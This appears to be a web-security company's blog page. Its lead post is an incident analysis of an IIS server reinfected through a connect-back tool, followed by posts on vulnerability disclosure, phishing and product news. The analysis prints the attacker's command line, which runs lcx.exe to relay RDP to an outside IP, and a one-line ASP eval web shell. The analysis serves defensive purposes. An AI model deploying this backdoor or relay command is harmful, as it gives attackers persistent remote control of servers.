Microsoft IIS Web Server – CMD Process Contributing to Website Reinfections

We often spend a lot of time talking about application level malware, but from time to time we do like to dabble in the ever so interesting web server infections as well. It is one of those things that comes with the job. Today, we’re going to chat about an interesting reinfection case in which the client was running their website on a Microsoft’s Internet Information Services (IIS) web server. Yes, contrary to popular belief many organizations, especially large enterprise organizations, still leverage and operate IIS web servers.

And for those that thought we only dabble in Linux Apache MySql PHP (LAMP) stacks, well now you know.. :)

As is often the case, when we think of the how and the what attackers are set out to do once they penetrate our web server we stop short of the final step – maintaining control of the environment. This is perhaps the most critical, especially today where ownership of a slave box can fetch a great sum of money in the underground.

Sucuri - Anatomy of an Website Attack

Sucuri – Anatomy of Website Attack

These slave machines can be used to reinfect website by bypassing existing access controls, can add web servers to networks of other slave machines (otherwise known as zombie networks or botnets), can be used for Brute Force and Denial of Service attacks and a number of other nefarious acts. This is why when we talk about infections you will often refer to it as only 10% of the problem. Often, what you see, albeit bad and annoying, is usually not the real problem, it’s but a symptom of a bigger infection.

Such was this case..

The Windows Server

If we take a step back in time, you might recall early 2013 – we refer to that as the period where web servers compromises were taking over. We were writing extensively on the latest Darkleech, Cdork and Ebury incidents. I am not going to lie, as a researcher, this was a very exciting time for me and my team. Finally, attackers were showing a level of sophistication worthy of some in-depth analysis.

Needless to say, we didn’t spend much time on Windows Servers, IIS web servers, it’s not to say that they too were not being affected, but the impact just wasn’t as great. This should be a surprise though as IIS has been steadily losing market share with website owners over the past few years. That however does not mean it’s no longer utilized, it is. This case is an example of that.

In this case, we were faced with a challenging server issue where every site on the web server would get reinfected with spam, backdoors and other malware as quickly as it was cleaned. Yes, very very annoying…

The Hunt Begins

Our first instinct was that the server was suffering from cross-contamination and compromised FTP credentials. From this point, we knew we needed the client to do a full FTP credential reset to control the reinfections, but when they did, the reinfections just started up again like nothing had been done. What was happening here?

We restarted our investigation and began to fish for answers.

We suspected that either a vulnerable upload script or a compromised admin area credential had allowed the cross-contamination to restart and was causing the problem. However, as we dove deeper into the logs, the client messaged us to tell us that he had found and killed the suspicious process fixing the issue. Case closed, right?

Well, no. It wouldn’t make a very good explanatory blog post if that was it….

Within hours, the reinfections came back with a vengence. Fortunately for the client, we were still analyzing the logs when it returned, you see when it’s something interesting we have a bad case of OCD where we want to better understand what happened. In general, we love it when we’re surprised by complexities within malware and are interested in learning as much as we can about the offending code. Contrary to popular belief, we’re not perfect.

In the analysis we decided to take a peak at the offending processor. We had to better understand what it was doing.

Sucuri - Windows IIS Malicious Processor - LCX EXE

Sucuri – Windows IIS Malicious Processor – LCX EXE

As you can see with the Process Explorer screenshot above, an IIS process (w3wp.exe) started a Command shell (cmd.exe), which was used to start the lcx.exe process. Based on the command line option, it seemed like this process was connecting back to the 199.180.101.206 server. A quick search of the IP turned up numerous complaints across the interwebs about it’s use in bot networks and as the originating node of DDoS attacks.

Naturally this was a red flag and worthy of further sleuthing. As we continued to look into the process, more and more of the picture began to unfold before us and we started to see where we needed to look for more information (note: all identifying client data has been removed):

Sucuri - Windows IIS Malicious Processor - CMD EXE

Sucuri – Windows IIS Malicious Processor – CMD EXE

To start, the command line and current directory were key to finding the backdoor used to start and maintain access to the server as well as where the files were located so we could remove them. If you’re curious, the full command line was:


"C:\RECYCLER\cmd.exe" /c "cd /d "D:\Inetpub\Users\infectedwebsite\wwwroot\scripts\"&C:\RECYCLER\\lcx.exe -slave 199.180.101.206 1113 127.0.0.1 3389&echo [S]&cd&echo [E]"

After reviewing all of the files inside the script directory, we found this piece of code spread out inside of an asp file:


<% Dim ConKey:ConKey="700" Dim InValue:InValue=Request(ConKey) eval(InValue) %>

That’s simple enough, right? The injected file wouldn’t be any better. After checking the access logs, it became clear that it received several valid POST requests throughout the day, making it harder to identify any single suspicious entry.

Let’s go back to the lcx.exe process for a second. The client had an AntiVirus running and we downloaded a couple extra stand-alone scanners to check for suspicious files to make sure that they were all coming up clean. We also leveraged VirusTotal and this is what they confirmed.

Sucuri - Winwos IIS Malicious Processor - VirusTotal Confirmation

Sucuri – Winwos IIS Malicious Processor – VirusTotal Confirmation

For you astute reader, you probably caught my mention earlier of the processor being stopped, yet the server being reinfected. If you did, then you’re likely asking yourself, “Hold up Fio, if they stopped it, yet they were still reinfected, how was it the processor leading to the reinfection?”

I’m so glad you asked..

You see, once you identify the infection you have to take it to the next step and understand the order of events. In this scenario, the key was to first kill the process, then remove the backdoors. Doing it in reverse would lead you into an endless circle. Stopping the processor, but leaving the backdoors would allow the attacker to regain entry and reinfect the server. Leaving the processor and removing the backdoor would just reinfect the server with more backdoors.

Once it was cleared in the right order, like magic, the reinfections stopped. Thank goodness I would say!!!

Understanding the Attack

After checking these files against our database, we can see that the file is the HUC Packet Transmit Tool V1.00, which is a Chinese connect-back backdoor also known as HTran. It was listed as a Advanced Persistent Threat (APT), but since it was easy to get rid of once detected I don’t necessarily believe in its persistence. :)

The malware was configured on slave mode (it can be set to listen, transmit packages or connect-back) and it allowed the attacker to have full access to the infected server.

Sucuri - Windows IIS Malicious Processor - CMD EXE Options

Sucuri – Windows IIS Malicious Processor – CMD EXE Options

There are two main takeaways here.

First, it’s important to remember that attackers make more money when they have more websites and web servers infected so they will always be trying to find ways into your site.

Second, it’s always easier to attack the attackers when we work together so, if you’re facing a malware or reinfection issue and you can’t figure out how to clean your site or web server, contact us.

My WordPress Website Was Hacked

Before you freak out, allow me to clarify. It was one of several honeypots we have running. The honeypots are spread across the most commonly employed hosting companies. From Virtual Private Servers (VPS) to shared environments, to managed environments. In most instances we pay and configure them like any other consumer would so that we aren’t given any special treatment.

Honey Pot Systems are decoy servers or systems set up to gather information regarding an attacker or intruder into your system… A Honey Pot system is set up to be easier prey for intruders than true production systems but with minor system modifications so that their activity can be logged or traced. The general thought is that once an intruder breaks into a system, they will come back for subsequent visits. During these subsequent visits, additional information can be gathered and additional attempts at file, security and system access on the Honey Pot can be monitored and saved. – SANS

Our goal is simple; we want to better understand the dynamic nature of website security and continue to analyze and interpret attackers’ intentions. Having live sites that we allow to get hacked also keeps us sharp in terms of how we respond to these intrusions and, if we’re being completely honest, helps us to better understand the emotions that a website owner, like yourself, might go through. Between you and I though, it really gets us excited.. almost as excited as a spider when they feel their web vibrating as their prey struggles to free itself.. but I digress..

Sucuri - My Website was Hacked - Defacement

Sucuri – My Website was Hacked – Defacement



Read More

Thoughts on WordPress Security and Vulnerabilities

homer-simpsons2-155238_640

As avid readers of this blog know, we’ve discovered or written about multiple vulnerabilities within the WordPress ecosystem over the last couple of weeks specifically relating to popular plugins. MailPoet and Custom Contact Forms drove the bulk of the engagement, but those using WPTouch, TimThumb and vBulletin were also made aware of vulnerabilities.

If it seems like most of the problems occur with plugins, it’s because it’s the truth. In fact, it’s not just restricted to Plugins, but includes Themes and any number of other extensions or services that a website might make use of. This actually applies beyond the realm of WordPress and is something that all website owners should be mindful of.


Read More

Website Security Analysis: A “simple” piece of malware

For regular readers of this blog, there is one constant that pops up over and over: malware gets more complex. When malware researchers, like myself, unlock new obfuscated code, it’s a signal to the black hats that they need to up their game. For me, figuring out their new hack attempts and then putting the findings online to help others is a day’s work, not to mention a big part of the fun. So, let’s get to the fun.

A colleague of mine, Ben Martin, sent me a piece of malicious code that had gone undetected for analysis. It’s important for us to understand how a piece of code goes undetected so that we can update our signatures and catch it the next time. After giving it a quick look, everything seemed to be clear. It certainly didn’t look like anything exceptional. Like I said before, the bad guys are always a step ahead, creating more and more sophisticated malware every day (even every hour), and we’re doing our best to make their “work” as hard as possible. This particular sample would just be properly detected and cleaned like the others. That would be the end of it except I felt like something was a little off.

Every malware researcher has some kind of sixth sense that alerts them when there’s something wrong in seemingly benign code. In this case, something just felt off and this led to me spending several hours with what turned out to be a very interesting analysis


Read More

Yoast and Sucuri Partner to Create a Safer Web

We’re very excited to finally talk about a partnership that’s been in the works for a few months and in light of the serious nature of the Security in the WordPress ecosystem it only makes sense. It also comes at a time where we, as an organization, are reinvesting into Website Security space through extensive research which gives us a better grasp of the real threat landscape looks like for website owners.

Benefits of the partnership can be seen and felt by both organizations. Over the past 3 weeks we, Sucuri, have been undergoing big changes in our branding and messaging and many have already started to comment. For Yoast, security audits have begun and updates have been proactively pushed to their users. It is our belief that through this partnership we will be able to make a bigger impact to the online threats website owners face on a daily basis. For those wondering, none of Yoast’s plugins or updates to them that we’ve audited contained any serious vulnerabilities.

This post will talk to the specifics of the partnership and how we will be working together.

Yoast and Sucuri

Regular security audits drive customer trust in Yoast Plugins


Read More

Responsible Disclosure – Sucuri Open Letter to MailPoet and Future Disclosures

Many don’t know who I am. My name is Tony Perez, I’m the CEO of Sucuri. I have the pleasure of calling this company my family and everyday I work for every person at this company. My partner is Daniel Cid. He is one of the foremost thought leaders in the website security domain, his influence extending far beyond the communities that make up some of the most popular CMS applications today.

Together we are building one of the fastest growing Website Security companies in the domain, we have one simple mission, to create a safer web. We are a technology company built by technologists with a special, quirky, idea that we can make a difference.

Many don’t realize that the bedrock of our business is Research, all facets of research. It’s how we stay ahead of the bad guys, or attackers. It’s a responsibility we have, not just to the general public, but one that we owe to our clients – in basic terms, it’s what they pay us for. It’s how we ensure our tools and technologies stay ahead of the rest and what makes us the ideal solution for every website owner, our commitment to the Website Security domain.

This has come to head recently from the huge debacle over the past few weeks in which we reported a very serious vulnerability in the WordPress MailPoet Plugin (WHYSIJA-NEWSLETTERS). In the coming days the attackers proceeded to identify, then begin to exploit the disclosed vulnerability.

Frankly put, the entire situation was very unfortunate.

Some Background on the Recent MailPoet Issue

Here is a more accurate timeline on the order of events:

  1. 2014, Jun 16: Notified MailPoet of the vulnerability, provided patching recommendations.
  2. 2014, Jun 16: MailPoet team replied and said they were working on a fix.
  3. 2014, Jun 18: Notified Sucuri that they had fixed the bug and would released a patch soon.
  4. 2014, Jul 01: The MailPoet team updated WP.org with the new release.
  5. 2014, Jul 07: MetaSploit Module released for the Vulnerability

The total order of events from took 15 days.

Upon release of the blog post the MailPoet team did contact us to express their discontent with our actions, and this was our response in the interest of transparency:

As far as disclosing the vulnerability, this is quite a common practice and the correct way to bring awareness to a security issue. A good example of a perfect security disclosure was done by the Automattic team with JetPack:

http://jetpack.me/2014/04/10/jetpack-security-update/

As soon as they released a patch, they notified all users and contacted multiple blogs to ask them to urge everyone to upgrade.

I imagine you are worried about brand impact, but every piece of software will have bugs and security issues at some point. It rarely has any brand impact and if you respond properly, it can have the opposite effect and be very good for you plugin and team reputation. The “We had an issue, we fixed and it won’t happen again” type of message that your users would prefer to hear from you than from some external blog.

As for us, we don’t do that for publicity. It is just part of our research and work that we do every day. Even before Sucuri started, we were auditing code and disclosing security issues. Our goal is to be ahead of the bad guys to protect our clients and help the web at a whole.

I leave it for you all, unedited.

Open Letter to MailPoet

As to be expected, the MailPoet team is pretty pissed off as it would be expected. So pissed in fact that they felt compelled to question our intent and whether we shared the same goals, so let’s talk about that for a minute.

Are we sure we are all aiming for an open, safe web in the WordPress community?

In an effort to provide some peace of mind and transparency in our thought process, please read this open letter to MailPoet:

Hi Mailpoet Team

First and foremost, I am sorry for the troubles you have been experiencing as of late.

Second, I did want to take a minute to clarify a few points to avoid speculation:

1 – Let’s start with reasonable time:

MailPoet Post: It’s common practice among software security circles to disclose bugs privately with software companies, then get a reward, credit and the possibility to write about it, given a reasonable amount of time to fix it.

You see, it’s all about a reasonable amount of time.

Responsible disclosure is about time to patch. That is what we provided. We disclosed only after your organization patched and made it publicly available.

Responsible disclosure has nothing to do with providing reasonable time after the patch to wait before disclosing publicly. Especially when you look at how the issue was highlighted, or lack there of in the change log.

Sucuri - MailPoet Security Disclosure

Nothing highlighted the seriousness of the issue, so we did. That’s what we feel is our responsibility. It’s buried and lacks any emphasis, it’s why so many in the security business subscribed to Full Disclosure (i.e., https://www.schneier.com/blog/archives/2007/01/debating_full_d.html)

This was a very serious vulnerability, one that deserved attention and we did so after it was patched, as is expected and is the norm.

2 – In regards to this:

MailPoet Post: effectively giving no time to users to upgrade their MailPoet version

It’s arguable that the only reason many updated their plugins when the patch was released was because of our public release and our ability to reach 100’s of thousands of WordPress Website owners. We were also able to make contact with hosts, managed host, and development shops.

3 – In regards to this:

MailPoet Post: before posting a detailed technical disclosure

We did not post a detailed technical post. We did not share a Proof of Concept which is actually very standard, we did reference elements that we felt had a greater impact than the ecosystem in which your plugin currently operates. Here is a snippet of the technical description you are alluding too:

Sucuri Post: Because of the nature of the vulnerability, specifically it’s severity, we will not be disclosing additional technical details. The basics of the vulnerability however is something all plugin developers should be mindful of: the vulnerability resides in the fact that the developers assumed that WordPress’s “admin_init” hooks were only called when an administrator user visited a page inside /wp-admin/.

As you know, we also did not disclose any Proof of Concepts. We directed all those requests to your team to handle at your discretion.

4 – I presume this is meant to be a direct attack at us:

MailPoet Post: Are we sure we are all aiming for an open, safe web in the WordPress community?

If I misinterpreted the intent here, please do let me know. You are right though, our ambitions are much larger than the WordPress community, we’re pursuing a safer web we as a whole regardless of platform.

Again, I personally apologize and empathize with the struggles you have endured over the past week or so. Your struggles were not our intent, and not our driving force. Before this incident we had no relationship and had no interest in the space you are in.

That being said, if it ever becomes an issue in the future, for you or any other developer, we will follow the same protocol that we used with MailPoet.

All the Best,

Tony and Daniel

One small note, you mentioned:


There’s a difference between warning users and disclosing a 0 day vulnerability to the entire world on the same day of the bugfix release.

Small point of clarification, Zero Day vulnerabilities are those that are released and have no patch. Your vulnerability was patched, hence not being a Zero Day anymore.

Creating a Safer Web

Yes, in case you’re wondering, this is but the tip of the iceberg for us.

We will be proactively researching security issues across the wide spectrum that is Website Security. From CMS applications like WordPress, Joomla, osCommerce, vBulletin, etc… to web servers like Apache, NGINX, Windows IIS, and more. As stated before, it’s what makes us who we are and the responsibility we have to our clients as well as the wider audience of the web as a whole.

The time to be more proactive in our research and overall contribution to the web is now, not tomorrow or the day after. We stand fast in our convictions and will continue to push forward. Remember our responsibility is not the developers and designers, but the millions of website owners, their websites and their businesses.

All the best,

Tony / Daniel

Simplifying the language of website security

Screen Shot 2014-07-09 at 3.40.59 PM
A couple of weeks ago, the Sucuri team was at HostingCon. We rubbed elbows with the people who bring your websites to the world and spoke at length with them about the importance of website security. However, the most interesting conversation we had over the whole week was with a small business owner on vacation with his family.

After a long day of conversations with the rest of the tech world, we needed to get a bite to eat and we decided to wait at the bar while the restaurant got our table ready. While there, we started talking to a man sitting next to us. As it turns out, he owns an auto body business in the Philadelphia area. Eventually, our new friend asked us what we were doing in Miami so we told him that we helped to run a firm focused on website security and, from our perspective, that’s when the conversation got really interesting.

That’s for big websites, right?

Our new friend knew about the data breaches at the big retailers like Target and then went on to tell us, “But I’m not worried, because I have a really simple website and just ask people to fill out a form so we can contact them later.”

Tony and I were floored when he told us that. But should we have been? When you live every day in the security space, it can be easy to forget that the rest of the world doesn’t live there with you.

We’ll always use this blog to break security news and to educate the community about the latest malware removal techniques we’re pioneering, but the more we learned about our new friend’s business, the more apparent it became that we also have an obligation to translate the language of website security so that website owner’s everywhere understand its importance. In that spirit, here’s our first primer in a once-in-a-while series for the everyday blogger, website enthusiast and small business owner on why security is important for their site.


Read More

Case Study: Complexities of “simple” malware

You know when you pull a string on a sweater and it just keeps going and going? You wonder when or if it will ever stop? From time to time, that’s how malware can feel. Even if you’re not a website security expert, it’s important to understand just how complicated hackers are willing to make their attacks in order to infect your website and 1,000’s of others at the same time.

What does complex malware look like?

Recently, our remediation team member Guilherme Scaldelai alerted me to an interesting infection that he had found on one of our client’s sites. Instead of just being some simple injection placed within the site code, the malware was systematic and meant to integrate with the structure of the site. This is what it looks like when malware gets complex. Let’s look at it step by step.

viaworm1

In this case, what is really interesting is that we didn’t just catch the result of the infection (infected files), but we also caught the infector (the script which infected them) as well. Let’s take a look at the infector functions to see what they actually do.


Read More

Is my website hacked? If you have to ask then, “Yes.”

The problem with phishing, and therefore the reason so many people have trouble with it, is that the code is fairly benign and can be very difficult to spot because it usually looks almost exactly like legitimate code. Oftentimes, a website owner won’t know their site is hacked with a phishing scam until site visitors inform them, which is why finding phishing pages can feel like searching for a needle in a haystack.

That’s what makes the following story so instructive.

Many thanks to our own Ben Martin for walking us through the scam (and for cleaning the client’s website).

The Problem

Recently, we cleared malware from a client’s website and our malware removal expert, Ben, found some interesting phishing pages.

Where was the injection located?

It’s in the hacker’s best interest to hide their phishing pages and they’re often able to do so because the code is so benign. They don’t need to run malicious scripts or inject iframes. In this case, the page doesn’t contain any suspicious functions or calls to Russian domains. It just consists of text input fields, a.k.a. normal sorts of code you’d see on any website. The key then is to know what you’re looking for and to do that, you have to think like a hacker.

What are phishing scams attempting?

This is where it becomes important to remember what a phishing scam is normally attempting to do. In many cases, they’re looking for bank records like credit card or debit card numbers, so we kept it simple and searched, “bank,” and look what we found:

Bank

See it? The title_netbank.jpg looked suspicious and, interestingly enough, all it took was that one reference in index.htm to the .jpg file to lead us to the phishing pages. We didn’t stop there though. We also dug a little deeper and found an .htaccess file in the directory.

htaccess

What you’re seeing here are IP addresses that are allowed to view the phishing page. In this case, only those with Danish IP addresses are being redirected to view the page. In this way, the hackers are able to to narrow the scope of their attacks to those who are most likely to enter their bank numbers, while not showing a suspicious page to extra people who may alert the bank or our client to the scam.

Here’s what this specific page looked like. It was being used to redirect customers to something that looked like a Nordea Bank AB user page (Nordea Bank is a financial group operating in Northern Europe). Even if you’ve never heard of Nordea, potential customers based in Northern Europe would have heard of the bank and would have been put at risk.

Nordea

What did we learn?

The hack we cleaned here isn’t extravagant. It wasn’t obfuscated behind layers and layers of code. In fact, it was relatively simple, which is instructive. Malicious code can affect your website even when its relatively easy to spot. The lesson as always is, if you have a feeling that your site has been compromised, then it probably has been.

CloudProxy + SPDY = A Faster Website

Our CloudProxy Firewall already protects and speeds load times for 1,000’s of websites. Now, it’ll be even faster. We’re happy to announce that we just added support for SPDY (pronounced speedy) across all of our plans and servers. Any website being protected by our CloudProxy firewall can enable SPDY support with just one click:

SPDY

If you haven’t heard of SPDY (SPeeDY), it is a new protocol developed primarily by Google for transporting web traffic. It reduces page load latency through compression, multiplexing, and prioritization. In non-technical terms, it makes your HTTPS site a lot faster and it is supported by all major browsers, including Chrome, Firefox and Opera.

Internet users using these browsers can take advantage of this protocol on sites that have SPDY enabled (like Google.com, Twitter.com, etc…).

We’re excited about this because while we continue to protect our clients’ websites with our WAF, we will also be helping to make their sites faster and more reliable.

If your site is already being protected by CloudProxy, just login and enable SPDY. If you haven’t yet protected your website, head to our CloudProxy homepage to see why 1,000’s of clients are using our firewall to shield their site from attacks.